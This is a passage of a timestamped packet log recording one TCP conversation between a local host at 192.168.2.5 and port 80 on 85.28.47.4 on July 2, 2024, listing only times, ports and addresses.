Jul 2, 2024 04:12:07.722346067 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722389936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722434998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722445965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722477913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722487926 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722495079 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722501993 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722518921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722552061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722579002 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722590923 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722604036 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722609997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722621918 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722630024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722635984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722641945 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722652912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722662926 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722692966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722692966 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722713947 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722723961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722739935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722752094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722753048 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722770929 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722775936 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722786903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722790956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722804070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722815037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722820044 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722830057 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722843885 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722850084 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722862959 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722866058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722878933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722878933 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722896099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722904921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722906113 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722923040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722923994 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722935915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722939968 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722953081 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722963095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722975016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722975016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722975016 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.722982883 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.722997904 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723005056 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723016977 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723026991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723038912 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723048925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723052025 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723061085 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723067999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723079920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723082066 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723090887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723097086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723112106 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723117113 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723120928 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723140955 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723141909 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723150969 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723166943 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723170996 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723184109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723192930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723200083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723206997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723213911 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723232031 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723241091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723239899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723258972 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723267078 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723269939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.723287106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.723313093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811291933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811304092 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811326027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811338902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811352015 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811359882 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811372042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811383963 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811397076 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811400890 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811414957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811425924 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811433077 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811445951 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811455011 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811460972 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811480045 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811492920 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811500072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811513901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811517000 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811527967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811539888 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811547041 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811557055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811557055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811574936 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811585903 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811602116 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811604023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811604023 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811625004 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811628103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811640024 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811641932 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811659098 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811666965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811676979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811676979 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811683893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811693907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811702967 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811717987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811722040 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811728954 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811748981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811760902 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811764956 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811780930 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811794043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811805010 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811806917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811824083 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811830997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811844110 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811847925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811858892 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811863899 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811875105 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811880112 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811897039 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811899900 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811914921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811914921 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811930895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811937094 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811949968 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811961889 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.811964989 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.811973095 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812000036 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812011003 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812011957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812025070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812041044 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812051058 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812055111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812076092 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812100887 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812119961 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812129021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812144995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812154055 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812161922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812161922 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812174082 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812181950 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812190056 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812207937 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812216997 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812218904 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812237024 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812256098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812256098 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812264919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812271118 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812274933 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812297106 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812299013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812314987 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812314987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812331915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812357903 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812376976 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812391043 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812406063 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812407970 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812422037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812422991 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812438965 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812441111 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812458038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812462091 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812474966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812478065 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812498093 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812503099 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812509060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812515020 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812530994 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812545061 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812566996 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812592983 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812613964 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812621117 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812628984 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812629938 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812650919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812658072 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812669992 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812674046 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812685013 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812693119 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812701941 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812714100 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812712908 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812730074 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812732935 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812747002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812762022 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812774897 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812789917 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812799931 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812815905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812830925 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812856913 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.812958956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812973022 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.812988997 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813000917 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813004971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813019037 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813019037 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813030005 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813036919 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813050032 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813050985 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813071966 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813077927 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813093901 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813098907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813112974 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813114882 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813131094 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813137054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813146114 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813152075 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813160896 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813177109 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813184977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813184977 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813185930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813198090 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813205957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813215971 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813222885 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813235998 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813245058 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813246965 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813262939 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813271999 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813273907 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813290119 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813297987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813299894 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813317060 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813319921 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813344002 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813368082 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813431978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813441992 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813457012 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813467979 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813473940 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813484907 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813493967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813498974 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813510895 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.813525915 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.813549042 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900639057 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900691986 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900727987 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900732040 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900753021 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900768042 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900778055 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900790930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900811911 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900813103 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900824070 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900842905 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900847912 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900860071 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900868893 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900883913 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900886059 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900896072 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900904894 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900923014 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900933027 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900933981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900933981 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900958061 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900963068 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.900969028 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.900985956 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901001930 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901004076 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901020050 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901021957 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901036978 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901046038 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901052952 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901065111 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901077986 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901088953 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901098967 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901103020 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901117086 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901127100 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901128054 CEST	49704	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:12:07.901144981 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901154995 CEST	80	49704	85.28.47.4	192.168.2.5
Jul 2, 2024 04:12:07.901156902 CEST	49704	80	192.168.2.5	85.28.47.4
